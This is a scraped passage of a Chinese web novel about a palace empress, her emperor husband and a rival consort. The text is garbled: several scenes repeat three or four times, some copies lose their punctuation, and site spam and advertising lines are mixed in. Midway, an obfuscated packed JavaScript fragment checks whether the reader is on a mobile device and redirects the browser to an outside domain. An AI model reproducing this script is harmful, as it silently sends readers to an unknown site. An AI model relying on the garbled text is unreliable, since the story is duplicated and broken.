床榻咯吱作响,裴墨染吻着她的眉眼,一遍遍地说道:“蛮蛮,我爱你,你还爱我对不对? 她想闭口不言,可裴墨染实在太会,害她不得不噙着泪,软声求饶,“嗯,爱你…… 反正床榻上的话,岂能当真? 裴墨染不知疲倦的掠夺。 只有如此,他的心才有片刻是安稳的,他才能获得少许安全感。 云清婳知道她狠心。 她就是这样一个自私自利的女人。 没办法,她情感缺失又来自现代,男人不洁,在她这里就已经避大雷了。 不知过了多久,床帐中的旖旎才消散。 天边的晚霞透进窗棂,将屋子染上半边红色。 云清婳的身子化成一滩水,无力躺在裴墨染的臂弯上。 他拥着她,双眼泛红,湿漉漉的,“蛮蛮,就当为了孩子,试着爱我好不好? 裴云澈**,苏采薇**,就算再迟钝的人也知道事有蹊跷。 尽管没有查证,但他猜到蛮蛮是为了给谢容音报仇。 而他,甚至孩子,都是蛮蛮复仇的工具。 “我不懂怎么爱人。她似笑非笑,“这个时辰,夫君该去上朝了。 “蛮蛮,别这么冷漠。他的语气满是卑微。 云清婳叹了一声,无奈地在他的脸颊上亲了一下,“这下满意了吗? 若是一个吻,能终止裴墨染的喋喋不休,那她愿意吻他。 在她看来,他们二人是盟友关系,没必要闹得太僵,表面上过得去就行。 她是个害怕麻烦的人,她若是太绝情,裴墨染反而会缠着她闹。 她何必自找麻烦呢? 裴墨染的嘴角顷刻上扬。 瞧,狗男人很好哄。 “蛮蛮,我会让你爱上我的,我们要携手到老。日后你想如何都好,我不会有异议。他边起身边道。 云清婳的神情莫测。 换作其他人,可能早就感动了吧? 可是裴墨染强加给她的“深情,有没有问她要不要呢? 他在乎的只是自己的幸福,没人在乎她究竟幸不幸福。 …… 裴墨染的圣旨下来后,御花园中争妍斗艳的女 子都散了。 唯有玉容不肯离开,她捏着毛笔,在被挂起的宣纸上笔走龙蛇,一边跳舞一边展现书**底。 晚香的心脏突突直跳,她劝道:“公主,咱们快回寝殿吧,圣上不准后宫妃嫔招摇过市,若是冲撞了圣上就不好了。 “哼。玉容不屑地冷嘁,“那些女人岂能跟我相提并论?她们是在争宠,而我只是在练习书法,展现才华。 晚香歪着脑袋,良久没有反应过来,她不明白这两者有什么区别。 就在这时,拱圈门传来整齐的脚步声。 贵不可言的气场以倾倒之势压下,整个御花园陷入了低气压中。 四下寂静,落针可闻。 “公主,陛下驾到。晚香扯了扯玉容的袖子,迅速跪下,“参见皇上。 可玉容佯装不知,她像是沉浸在书法的意趣之中。 她捏着毛笔挥斥方遒,动作越发浮夸。 裴墨染路过凉亭时,看到了玉容,眼中出现了诧异。 玉容心里想着,裴墨染一定是特意来看她的。 但她不能主动! 要装成云清婳那样坚韧不屈、欲拒还迎。 上一世,她不就输给了云清婳的脸蛋跟才气? 所以这次穿书,她向主神许愿自己能够拥有貌美的容颜跟脱俗的才情。 她就不信裴墨染不会心动。 毕竟是她先跟裴墨染认识的,而且他跟裴墨染认识的时间比云清婳长! 这一次,她一定不会输。 思及此,玉容双臂摆动的幅度更大了,她抡圆肩膀,将毛笔甩到飞起,奔放的狂草从笔下倾泻而出。 与此同时,一滴墨点也从笔尖甩了出来,直直地朝圣驾袭来。 裴墨染敏捷地侧身一闪,王显跟其他宫人纷纷拦在他面前。 墨汁险些溅到龙袍上。 登时,他的眸子暗淡下去。 玉容是背对众人的,她听到身后的动静,以为他们是被自己精湛的书法技艺所震撼,为之折服。 她压制住上扬的嘴角,一转身,状似受惊,“啊?皇上恕罪,臣妾方才没听见。 玉容徐徐屈膝跪下,脸上出现了愧疚。 裴墨染的眼神冷得几乎要凝结成冰, 这么蠢笨的人世间真是难见。 “朕差点把你忘了。”他幽幽地吐出这句话声音像是掺了冰碴。 晚香的心快从嗓子眼跳出来她听出不对已经在邦邦磕头了。 宫人噤若寒蝉面色凝重大气不敢喘。 可玉容的脸颊泛红娇羞地垂下头就像在等着被临幸。 “朕不是说了吗?后宫中人不准在御花园争妍斗艳你把朕的话当做耳旁风?”他的话轻飘飘地落下却让人胆寒。 玉容的心跳加速她斗胆辩解道:“皇上臣妾没有争宠臣妾在迟国时便喜欢练习书法陶冶情操。” 此话一出王显众人都想发笑。 在哪里不能练?非要在光天化日之下皇上的必经之路上练? “呵……” 裴墨染冷不丁笑了笑中卷带着几分不容触犯的威严。 在坤宁宫碰壁本就让他烦扰不堪。 偏生还有蠢货往他面前凑。 “容嫔违抗圣命目无法纪出言顶撞朕即刻拖下去杖责三十贬为容贵人!” 等玉容反应过来时裴墨染早就走远了。 王显看她的眼神都掺杂着轻蔑。 这个劳什子公主怎么敢的? 居然跟皇上顶嘴! 她当她是皇后娘娘吗? “不要啊皇上不要啊……”玉容哭喊着。 可太监按住她的肩膀将她拖走了。 晚香吓得眼泪涔涔 公主为什么非要触怒圣上啊? 好好在猫在红杏斋不好吗? …… 这个消息很快传到了坤宁宫。 云清婳一笑置之。 飞霜给云清婳端来了避子药“跟主子说的一样根本不用咱们出手赵婉宁自己就能把自己作死。” “我还以为重来一次赵婉宁多少能长进一些没成想她反而仗着所谓的容貌、才情犯蠢。”她的眼神幽暗。 为什么老天这么不开眼? 重生的名额为何不给姐姐却要给赵婉宁这样的恶人? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 这么蠢笨的人世间真是难见。 “朕差点把你忘了。”他幽幽地吐出这句话声音像是掺了冰碴。 晚香的心快从嗓子眼跳出来她听出不对已经在邦邦磕头了。 宫人噤若寒蝉面色凝重大气不敢喘。 可玉容的脸颊泛红娇羞地垂下头 “朕不是说了吗?后宫中人不准在御花园争妍斗艳你把朕的话当做耳旁风?”他的话轻飘飘地落下却让人胆寒。 玉容的心跳加速她斗胆辩解道:“皇上臣妾没有争宠臣妾在迟国时便喜欢练习书法陶冶情操。” 此话一出王显众人都想发笑。 在哪里不能练?非要在光天化日之下皇上的必经之路上练? “呵……” 裴墨染冷不丁笑了笑中卷带着几分不容触犯的威严。 在坤宁宫碰壁本就让他烦扰不堪。 偏生还有蠢货往他面前凑。 “容嫔违抗圣命目无法纪出言顶撞朕即刻拖下去杖责三十贬为容贵人!” 等玉容反应过来时裴墨染早就走远了。 王显看她的眼神都掺杂着轻蔑。 这个劳什子公主怎么敢的? 居然跟皇上顶嘴! 她当她是皇后娘娘吗? “不要啊皇上不要啊……”玉容哭喊着。 可太监按住她的肩膀将她拖走了。 晚香吓得眼泪涔涔她胆寒得身子还在轻颤。 公主为什么非要触怒圣上啊? 好好在猫在红杏斋不好吗? …… 这个消息很快传到了坤宁宫。 云清婳一笑置之。 飞霜给云清婳端来了避子药“跟主子说的一样根本不用咱们出手赵婉宁自己就能把自己作死。” “我还以为重来一次赵婉宁多少能长进一些没成想她反而仗着所谓的容貌、才情犯蠢。”她的眼神幽暗。 为什么老天这么不开眼? 重生的名额为何不给姐姐却要给赵婉宁这样的恶人? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 这么蠢笨的人世间真是难见。 “朕差点把你忘了。”他幽幽地吐出这句话声音像是掺了冰碴。 晚香的心快从嗓子眼跳出来她听出不对已经在邦邦磕头了。 宫人噤若寒蝉面色凝重大气不敢喘。 可玉容的脸颊泛红娇羞地垂下头就像在等着被临幸。 “朕不是说了吗?后宫中人不准在御花园争妍斗艳 玉容的心跳加速她斗胆辩解道:“皇上臣妾没有争宠臣妾在迟国时便喜欢练习书法陶冶情操。” 此话一出王显众人都想发笑。 在哪里不能练?非要在光天化日之下皇上的必经之路上练? “呵……” 裴墨染冷不丁笑了笑中卷带着几分不容触犯的威严。 在坤宁宫碰壁本就让他烦扰不堪。 偏生还有蠢货往他面前凑。 “容嫔违抗圣命目无法纪出言顶撞朕即刻拖下去杖责三十贬为容贵人!” 等玉容反应过来时裴墨染早就走远了。 王显看她的眼神都掺杂着轻蔑。 这个劳什子公主怎么敢的? 居然跟皇上顶嘴! 她当她是皇后娘娘吗? “不要啊皇上不要啊……”玉容哭喊着。 可太监按住她的肩膀将她拖走了。 晚香吓得眼泪涔涔她胆寒得身子还在轻颤。 公主为什么非要触怒圣上啊? 好好在猫在红杏斋不好吗? …… 这个消息很快传到了坤宁宫。 云清婳一笑置之。 飞霜给云清婳端来了避子药“跟主子说的一样根本不用咱们出手赵婉宁自己就能把自己作死。” “我还以为重来一次赵婉宁多少能长进一些没成想她反而仗着所谓的容貌、才情犯蠢。”她的眼神幽暗。 为什么老天这么不开眼? 重生的名额为何不给姐姐却要给赵婉宁这样的恶人? 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 这么蠢笨的人世间真是难见。 “朕差点把你忘了。他幽幽地吐出这句话,声音像是掺了冰碴。 晚香的心快从嗓子眼跳出来,她听出不对,已经在邦邦磕头了。 宫人噤若寒蝉,面色凝重,大气不敢喘。 可玉容的脸颊泛红,娇羞地垂下头,就像在等着被临幸。 “朕不是说了吗?后宫中人不准在御花园争妍斗艳,你把朕的话当做耳旁风?他的话轻飘飘地落下,却让人胆寒。 玉容的心跳加速,她斗胆辩解道:“皇上,臣妾没有争宠,臣妾在迟国时便喜欢练习书法,陶冶情操。 此话一出,王显众人都想发笑。 在哪里不能练?非要在光天化日之下,皇上的必经之路上练? “呵…… 裴墨染冷不丁笑了,笑中卷带着几分不容触犯的威严。 在坤宁宫碰壁,本就让他烦扰不堪。 偏生还有蠢货往他面前凑。 “容嫔违抗圣命,目无法纪,出言顶撞朕,即刻拖下去杖责三十,贬为容贵人! 等玉容反应过来时,裴墨染早就走远了。 王显看她的眼神都掺杂着轻蔑。 这个劳什子公主怎么敢的? 居然跟皇上顶嘴! 她当她是皇后娘娘吗? “不要啊,皇上不要啊…… 可太监按住她的肩膀,将她拖走了。 晚香吓得眼泪涔涔,她胆寒得身子还在轻颤。 公主为什么非要触怒圣上啊? 好好在猫在红杏斋不好吗? …… 这个消息很快传到了坤宁宫。 云清婳一笑置之。 飞霜给云清婳端来了避子药,“跟主子说的一样,根本不用咱们出手,赵婉宁自己就能把自己作死。 “我还以为重来一次,赵婉宁多少能长进一些,没成想她反而仗着所谓的容貌、才情犯蠢。她的眼神幽暗。 为什么老天这么不开眼? 重生的名额为何不给姐姐,却要给赵婉宁这样的恶人? 你身边有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我还以为重来一次赵婉宁多少能长进一些没成想她反而仗着所谓的容貌、才情犯蠢。”她的眼神幽暗。 为什么老天这么不开眼? 重生的名额为何不给姐姐却要给赵婉宁这样的恶人? 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 这么蠢笨的人世间真是难见。 “朕差点把你忘了。”他幽幽地吐出这句话,声音像是掺了冰碴。 晚香的心快从嗓子眼跳出来,她听出不对,已经在邦邦磕头了。 宫人噤若寒蝉,面色凝重,大气不敢喘。 可玉容的脸颊泛红,娇羞地垂下头,就像在等着被临幸。 “朕不是说了吗?后宫中人不准在御花园争妍斗艳,你把朕的话当做耳旁风?”他的话轻飘飘地落下,却让人胆寒。 玉容的心跳加速,她斗胆辩解道:“皇上,臣妾没有争宠,臣妾在迟国时便喜欢练习书法,陶冶情操。” 此话一出,王显众人都想发笑。 在哪里不能练?非要在光天化日之下,皇上的必经之路上练? “呵……” 裴墨染冷不丁笑了,笑中卷带着几分不容触犯的威严。 在坤宁宫碰壁,本就让他烦扰不堪。 偏生还有蠢货往他面前凑。 “容嫔违抗圣命,目无法纪,出言顶撞朕,即刻拖下去杖责三十,贬为容贵人!” 等玉容反应过来时,裴墨染早就走远了。 王显看她的眼神都掺杂着轻蔑。 这个劳什子公主怎么敢的? 居然跟皇上顶嘴! 她当她是皇后娘娘吗? “不要啊,皇上不要啊……”玉容哭喊着。 可太监按住她的肩膀,将她拖走了。 晚香吓得眼泪涔涔,她胆寒得身子还在轻颤。 公主为什么非要触怒圣上啊? 好好在猫在红杏斋不好吗? …… 这个消息很快传到了坤宁宫。 云清婳一笑置之。 飞霜给云清婳端来了避子药,“跟主子说的一样,根本不用咱们出手,赵婉宁自己就能把自己作死。” “我还以为重来一次,赵婉宁多少能长进一些,没成想她反而仗着所谓的容貌、才情犯蠢。”她的眼神幽暗。 为什么老天这么不开眼? 重生的名额为何不给姐姐,却要给赵婉宁这样的恶人? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 这么蠢笨的人世间真是难见。 “朕差点把你忘了。”他幽幽地吐出这句话声音像是掺了冰碴。 晚香的心快从嗓子眼跳出来她听出不对 宫人噤若寒蝉面色凝重大气不敢喘。 可玉容的脸颊泛红娇羞地垂下头就像在等着被临幸。 “朕不是说了吗?后宫中人不准在御花园争妍斗艳你把朕的话当做耳旁风?”他的话轻飘飘地落下却让人胆寒。 玉容的心跳加速她斗胆辩解道:“皇上臣妾没有争宠臣妾在迟国时便喜欢练习书法陶冶情操。” 此话一出王显众人都想发笑。 在哪里不能练?非要在光天化日之下皇上的必经之路上练? “呵……” 裴墨染冷不丁笑了笑中卷带着几分不容触犯的威严。 在坤宁宫碰壁本就让他烦扰不堪。 偏生还有蠢货往他面前凑。 “容嫔违抗圣命目无法纪出言顶撞朕即刻拖下去杖责三十贬为容贵人!” 等玉容反应过来时裴墨染早就走远了。 王显看她的眼神都掺杂着轻蔑。 这个劳什子公主怎么敢的? 居然跟皇上顶嘴! 她当她是皇后娘娘吗? “不要啊皇上不要啊……”玉容哭喊着。 可太监按住她的肩膀将她拖走了。 晚香吓得眼泪涔涔她胆寒得身子还在轻颤。 公主为什么非要触怒圣上啊? 好好在猫在红杏斋不好吗? …… 这个消息很快传到了坤宁宫。 云清婳一笑置之。 飞霜给云清婳端来了避子药“跟主子说的一样根本不用咱们出手赵婉宁自己就能把自己作死。” “我还以为重来一次赵婉宁多少能长进一些没成想她反而仗着所谓的容貌、才情犯蠢。”她的眼神幽暗。 为什么老天这么不开眼? 重生的名额为何不给姐姐却要给赵婉宁这样的恶人? 你的朋友正在书荒,快去帮帮他吧 第400章 你是我见过最抠门的 云清婳不愿再想,她端着药碗,将酸苦的避子药一饮而尽。 飞霜立即在她嘴里塞了一颗蜜饯,“主子,您缓缓。” “小飞霜真贴心。”云清婳宠溺地夸奖。 飞霜的面颊染上羞涩的红晕,她好奇地问:“主子跟陛下关系缓和了吗?” 她嘴角的笑意淡去,“我从未想过跟他闹僵,只要他别斤斤计较,我们就能相安无事。” “可惜,陛下太在乎您了,所以不能接受您的疏远。”飞霜长叹了口气, 云清婳的唇边扬起讥诮,“就像是科举考试,你见谁考中状元了,还点灯熬油,翻看四书五经的?” 裴墨染的作用已经没有了,她自然懒得再维系了。 “是啊。”飞霜觉得主子打的比方很确切,她垂下眼,“可您跟陛下这样下去也不是办法,若是让太子、公主知道了,会伤心的。” 云清婳抚摸着心口,正是她为数不多的那点良心,才让她坚持着没有离开的。 若不是为了承基、辞忧考虑,她早就一走了之了。 原著中有一个剧情,正好让她知道如何逃出宫。 “他们总会知道的,若是连这点挫折都受不住,皇位干脆拱手送人吧。”她似真非真地说着,眼神透着让人看不懂的情绪。 …… 另一边,红杏斋。 玉容的下半身都是血,她哀哀地趴在榻上,不住地掉眼泪。 她的屁股皮开肉绽,大腿的经脉好像都被打断了。 她不住地呻吟着。 “都是云清婳,一定是云清婳在皇上面前告状了!” “我不会放过这个**!我一定要拆穿她的真面目!” 晚香红着眼,喂她喝药,“公主,咱们别折腾了,后宫都是皇后一手遮天,帝后同心,岂是咱们能撼动的?” “那是因为皇上还不知道云清婳的真面目,你帮我做一件事!事成之后,云清婳绝对会失宠!”玉容眼中的兴奋激涌,她仿佛已经看见云清婳被厌弃的画面。 当初她做了很多伤害云清婳的事,可裴墨染都没有狠下心来跟她**。 直到她有私生子的事被抖落出来,裴墨染不能接受她的欺骗,才气愤之下跟她断情。 假如裴 墨染发现云清婳也瞒着他许多事呢? …… 御书房。 裴墨染批改奏折时锦衣卫首领拱手走了进来。 他的手中抱着一沓厚厚的折子。 “参见陛下。” 裴墨染匆匆瞥了他一眼遂俯首翻阅奏章“何事?” “回禀陛下贤王薨逝当晚属下的人发现围场周围其实埋伏了另一伙贼人。”锦衣卫道。 裴墨染的手一顿他放下毛笔桃花眼里仿佛覆盖了一层冰霜“可抓住了?” “属下无能!尚未抓住他们很警觉不日便逃了。”锦衣卫跪在地上认罪。 裴墨染缓缓呼出一口气“无妨贤王的事已经过去了莫要分神继续严查贪腐。” “是。”锦衣卫叩首“陛下只是这货贼人先帝在时便下令要缉拿归案他们乃是前朝余孽以段南天为首!” “而且属下的人查到段南天似乎曾跟云家有过往来。”说着锦衣卫讪讪地抬眼看着上首。 裴墨染古井无波的眸中飞快的闪过一丝别样的情愫他的眼神一厉“大胆!你想说什么?你想污蔑国丈不成?” “不属下不敢属下只是如实禀报!”锦衣卫双手呈上折子“属下查到的都在这里请皇上过目。” 裴墨染轻扬下巴示意他将折子放到一边的地上他阴鸷道:“若无大碍此事不准再提了。” 锦衣卫微微诧异“是。” 他听懂了弦外之音悻悻地告退。 裴墨染盯着那沓折子坐在上首久久一动不动。 上面究竟写了什么? 蛮蛮会跟段南天认识吗? 他并无探究的欲望。 只要确定云家一心为国没有谋逆之心就够了。 至于他们跟谁往来过这不重要。 …… 夜里 他想跟蛮蛮多相处一会儿。 他有信心跟蛮蛮重新开始让蛮蛮爱上他。 此时云清婳才睡着就被推门声扰醒。 随后便是裴墨染的脚步声她心中烦得要炸。 她转身背对着他。 “蛮蛮……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537252|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 裴墨染掀开床帐,笑吟吟地俯下身看她。 他献宝似的从身后拿出一朵盛放的牡丹凑到她面前。 “喜欢吗?我让人精心培育的,等花朝节到了,我陪你出宫走走。” 云清婳:…… 她心中有一万句脏话。 云清婳的杏眼微眯,眼中射出无数暗箭,如有实质地刺向他。 裴墨染心头一凛,像是做错事不知所措的孩子,后退了半步,他呢喃着:“蛮蛮……” “现在是什么时辰?”她的愤怒喷薄而出,双手攥成拳,“你的心里为何只有自己?” 裴墨染愧疚道:“蛮蛮,我拿到花太高兴了,一时忘了时辰,我只是想把花送给你。” “没有人想一天到晚哄着你,你想得到我什么反应?让我感动?”云清婳从他手里扯过牡丹,远远地扔在地上,“你能不能别总是拿这种不值钱的玩意送我?” “追求我的男子,没有一百也有几十,而你是我见过最俗气最抠门的!你知道我每次假装感动,心里有多膈应吗?” 裴墨染的心像是被狠狠揪住,他的面颊通红,指着自己,难以置信地问:“我……我俗气?抠门?” 门外,王显、飞霜想听不见里面的争吵都难。 二人不约而同地颔首。 皇上的确……有点……抠门。 别人送心上人的东西是什么? 他送的就是蝴蝶纸鸢、永结同心符、投壶投来的兔子灯,回府时顺路捎几块花糕…… 前些日子送辞忧公主的礼物也抠,就是一个木雕老虎。 “不然呢?”云清婳刻薄地剜了他一眼。 说男人抠门,简直是在践踏尊严。 裴墨染自觉丢脸,他的声音陡然拔高,“那我即刻命人打一朵金牡丹出来!我送你金牡丹!” 云清婳嗤笑,“不愧是你,俗气逼人!” “……”裴墨染如鲠在喉,只能大眼瞪小眼愣怔地看着云清婳。 他似乎第一次认识眼前人。 与此同时,他意识到了一件事,他送的礼物,可能从没满意过。 愧疚袭上心头。 云清婳扯着被褥蒙头就睡,懒得搭理他。 第401章 你们都觉得朕小气? 裴墨染彻底睡不着了他沐浴更衣后披着大氅推门走到庭院中。 他居高临下地看着飞霜、王显。 “朕给皇后送的礼物你们觉得如何?”他似乎想要从别人身上找些自信。 飞霜、王显面面相觑。 二人的头上瞬间泌出汗珠他们的嘴像是被浆糊黏住了半天张不开。 “皇上的礼物自然都是好的。”飞霜福福身。 王显应和:“礼轻情意重陛下的心意抵万金。” 这话还是他之前跟皇后娘娘学的。 可裴墨染的剑眉拧成了川字“礼轻?所以你觉得朕小气?” 王显、飞霜瞬间跪下。 守夜的宫人跟着跪了一片。 裴墨染伸出手指着他“既然如此你当初为何不提醒朕?” “……”王显瑟瑟发抖快被吓哭了。 这也能怪他? “陛下坐拥大昭 裴墨染不耐地剜了他一眼他又看向飞霜“你说你主子喜欢什么?” 飞霜苦着脸她怎么知道啊主子的心思莫测。 而且送礼物主要要看送礼物的人是谁。 倘若是太子、公主送主子一块糕点主子也会欣喜。 “奴婢不知主子平日就喜欢吃些糕点、侍弄花草、给太子、公主画玩具图纸。”飞霜如实说道。 裴墨染不赞成地摇头“太廉价了!” 他可不能再送这些东西免得被蛮蛮安上小气的罪名。 飞霜在心里默默翻了个白眼。 现在知道廉价了? 早干嘛去了? …… 裴墨染在寝殿外的回廊中踟蹰了半晌见夜幕黑沉月亮躲进了云层他才推门进去。 此时云清婳已然睡熟。 她的粉唇微嘟浓密卷翘的睫毛像是一对小扇子面容恬静乖巧呼吸均匀。 裴墨染望着她的睡颜心头颤了颤。 即使蛮蛮对他刻薄、恶语相向但他还是忍不住心动。 他蹑手蹑脚地掀开床帐轻轻躺在云清婳身边单手搂着她。 或许是 多年来形成的条件反射云清婳在睡梦中不自知地朝男人炙热的胸膛凑了过去。 靠近热源她温凉的身子骤然温暖。 裴墨染的唇角上扬原本苦涩的心泛起了丝丝甜意。 蛮蛮果然还是需要他的。 这些年他不信蛮蛮对他一点感情都没有。 哪怕七分假意里也有三分真情在吧? 他搂着她轻嗅着她发间的清香不安的心稍稍感到安宁。 …… 翌日清早云清婳像昨晚什么也没发生般平和地跟裴墨染跟孩子用早膳。 云清婳剥了两个鸡蛋递给承基、辞忧“少喝些粥等会儿娘亲让人送些牛乳来你们带去上书房喝。” “嗯。”孩子乖巧地颔首。 宫女都不明白为何皇后娘娘每日让太子、公主这样用早膳。 但两位殿下的确长得很好比其他同龄的孩子壮实。 辞忧的葡萄眼滴溜溜地转她看看裴墨染又看看云清婳“娘亲为什么不给爹爹剥鸡蛋?” “妹妹昨晚你睡得太熟了爹娘晚上吵架了我都听见了。”承基骄傲地扬起了小脸。 “啊?”辞忧担心地看向爹娘。 云清婳夹菜的手一顿脸颊蹭得红了 “对。”裴墨染信誓旦旦地说。 因为昨晚完全是蛮蛮在嘲讽他他没回嘴怎么能算吵架? 他拿起一个鸡蛋剥完后放到云清婳的碗中。 云清婳的表情有些嫌弃:拿走!我不喜欢吃别人碰过的东西! 裴墨染有恃无恐地挑眉:你想让孩子看见父母不睦? 云清婳只好低下头咬了一口鸡蛋“真好吃谢谢夫君。” “不用谢娘子。”他的尾音上扬眼中满是戏谑的邪气。 云清婳恨恨的磨着后槽牙。 飞霜、王显背后的汗**都竖起来了。 他们怎么感觉皇上跟皇后快打起来了? “辞忧、承基你们娘亲不必给我剥鸡蛋给妻子剥鸡蛋的男人才好男人比如说你们爹。”裴墨染半认真半打趣的拍拍胸口。 “唔……”承基、辞忧似懂非懂的点头。 云清婳的筷子使劲戳着碗底她忍无可忍“臭不要脸整日变着法儿夸自己!” “娘子也是好女人。” 裴墨染还没说完云清婳便道:“因为我嫁给了你这个好男人是吧?” “娘子聪慧都会抢答了。”他夸奖道。 云清婳:…… 他是不是有病? 他不会觉得自己很幽默吧? 飞霜、王显没忍住扑哧笑了出声。 皇上的笑话并不好笑但加上皇后娘娘的反应真的好笑。 孩子咯咯地笑了。 “上学去。”云清婳递给福松一个眼色。 福松立即领着他们退下。 孩子走后云清婳啪地拍下筷子“裴墨染你刚才剥什么鸡蛋?我说我要吃了吗?” “蛮蛮在孩子面前你都不愿装了?你想让孩子看出爹娘不和睦?”裴墨染好整以暇地反问。 她目视前方平静地说:“这是两码事!还有你以后少在孩子面前胡言乱语什么给妻子剥鸡蛋的男人才是好男人? 你希望将来辞忧被男人廉价的感动给欺骗?还是说你想把承基教成跟你一样抠门的人?” 此话一出 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)王显、飞霜立即退下连忙将门窗阖上。 裴墨染的脸红到了脖颈他像是尊严被践踏“我抠门?我对你的心意你都看不见?你这个女人掉钱眼里了?张口闭口都是钱。” “裴墨染我就问你一句将来辞忧被一个给她剥鸡蛋的男人迷了心智你当爹的放心吗?”她的眼神狠狠一瞥。 他语塞。 辞忧是被他们捧在手心里的宝贝倘若哪个男人用这么低劣的手段把辞忧的心骗走了他定会被气死! 他说不定一气之下会把那人的头砍了! “可是我的心意你真看不见?礼轻情意重你懂吗?”裴墨染嘴硬的问。 “我不懂!”她故意气他“因为你的礼太轻了!” 想起昨晚的一朵牡丹她就来气。 就算不是皇上就算是田间地头的放牛郎都知道给心爱的姑娘一捧花吧? 这个死直男究竟在干什么蠢事? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 云清婳的筷子使劲戳着碗底,她忍无可忍,“臭不要脸,整日变着法儿夸自己!” “娘子也是好女人。” 裴墨染还没说完,云清婳便道:“因为我嫁给了你这个好男人是吧?” “娘子聪慧,都会抢答了。”他夸奖道。 云清婳:…… 他是不是有病? 他不会觉得自己很幽默吧? 飞霜、王显没忍住扑哧笑了出声。 皇上的笑话并不好笑,但加上皇后娘娘的反应,真的好笑。 孩子咯咯地笑了。 “上学去。”云清婳递给福松一个眼色。 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 福松立即领着他们退下。 孩子走后,云清婳啪地拍下筷子,“裴墨染,你刚才剥什么鸡蛋?我说我要吃了吗?” “蛮蛮,在孩子面前,你都不愿装了?你想让孩子看出爹娘不和睦?”裴墨染好整以暇地反问。 她目视前方,平静地说:“这是两码事!还有,你以后少在孩子面前胡言乱语,什么给妻子剥鸡蛋的男人才是好男人? 你希望将来辞忧被男人廉价的感动给欺骗?还是说,你想把承基教成跟你一样抠门的人?” 此话一出,王显、飞霜立即退下,连忙将门窗阖上。 裴墨染的脸红到了脖颈,他像是尊严被践踏,“我抠门?我对你的心意,你都看不见?你这个女人掉钱眼里了?张口闭口都是钱。” “裴墨染,我就问你一句,将来辞忧被一个给她剥鸡蛋的男人迷了心智,你当爹的放心吗?”她的眼神狠狠一瞥。 他语塞。 辞忧是被他们捧在手心里的宝贝,倘若哪个男人用这么低劣的手段把辞忧的心骗走了,他定会被气死! 他说不定一气之下会把那人的头砍了! “可是我的心意,你真看不见?礼轻情意重,你懂吗?”裴墨染嘴硬的问。 “我不懂!”她故意气他,“因为你的礼太轻了!” 想起昨晚的一朵牡丹,她就来气。 就算不是皇上,就算是田间地头的放牛郎都知道给心爱的姑娘一捧花吧? 这个死直男究竟在干什么蠢事? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 云清婳的筷子使劲戳着碗底,她忍无可忍,“臭不要脸,整日变着法儿夸自己!” “娘子也是好女人。” 裴墨染还没说完,云清婳便道:“因为我嫁给了你这个好男人是吧?” “娘子聪慧,都会抢答了。”他夸奖道。 云清婳:…… 他是不是有病? 他不会觉得自己很幽默吧? 飞霜、王显没忍住扑哧笑了出声。 皇上的笑话并不好笑,但加上皇后娘娘的反应,真的好笑。 孩子咯咯地笑了。 “上学去。”云清婳递给福松一个眼色。 福松立即领着他们退下。 孩子走后,云清婳啪地拍下筷子,“裴墨染,你刚才剥什么鸡蛋?我说我要吃了吗?” “蛮蛮,在孩子面前,你都不愿装了?你想让孩子看出爹娘不和睦?”裴墨染好整以暇地反问。 她目视前方,平静地说:“这是两码事!还有,你以后少在孩子面前胡言乱语,什么给妻子剥鸡蛋的男人才是好男人? 你希望将来辞忧被男人廉价的感动给欺骗?还是说,你想把承基教成跟你一样抠门的人?” 此话一出,王显、飞霜立即退下,连忙将门窗阖上。 裴墨染的脸红到了脖颈,他像是尊严被践踏,“我抠门?我对你的心意,你都看不见?你这个女人掉钱眼里了?张口闭口都是钱。” “裴墨染,我就问你一句,将来辞忧被一个给她剥鸡蛋的男人迷了心智,你当爹的放心吗?”她的眼神狠狠一瞥。 他语塞。 辞忧是被他们捧在手心里的宝贝,倘若哪个男人用这么低劣的手段把辞忧的心骗走了,他定会被气死! 他说不定一气之下会把那人的头砍了! “可是我的心意,你真看不见?礼轻情意重,你懂吗?”裴墨染嘴硬的问。 “我不懂!”她故意气他,“因为你的礼太轻了!” 想起昨晚的一朵牡丹,她就来气。 就算不是皇上,就算是田间地头的放牛郎都知道给心爱的姑娘一捧花吧? 这个死直男究竟在干什么蠢事? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 云清婳的筷子使劲戳着碗底,她忍无可忍,“臭不要脸,整日变着法儿夸自己!” “娘子也是好女人。” 裴墨染还没说完,云清婳便道:“因为我嫁给了你这个好男人是吧?” “娘子聪慧,都会抢答了。”他夸奖道。 云清婳:…… 他是不是有病? 他不会觉得自己很幽默吧? 飞霜、王显没忍住扑哧笑了出声。 皇上的笑话并不好笑,但加上皇后娘娘的反应,真的好笑。 孩子咯咯地笑了。 “上学去。”云清婳递给福松一个眼色。 福松立即领着他们退下。 孩子走后,云清婳啪地拍下筷子,“裴墨染,你刚才剥什么鸡蛋?我说我要吃了吗?” “蛮蛮,在孩子面前,你都不愿装了?你想让孩子看出爹娘不和睦?”裴墨染好整以暇地反问。 她目视前方,平静地说:“这是两码事!还有,你以后少在孩子面前胡言乱语,什么给妻子剥鸡蛋的男人才是好男人? 你希望将来辞忧被男人廉价的感动给欺骗?还是说,你想把承基教成跟你一样抠门的人?” 此话一出,王显、飞霜立即退下,连忙将门窗阖上。 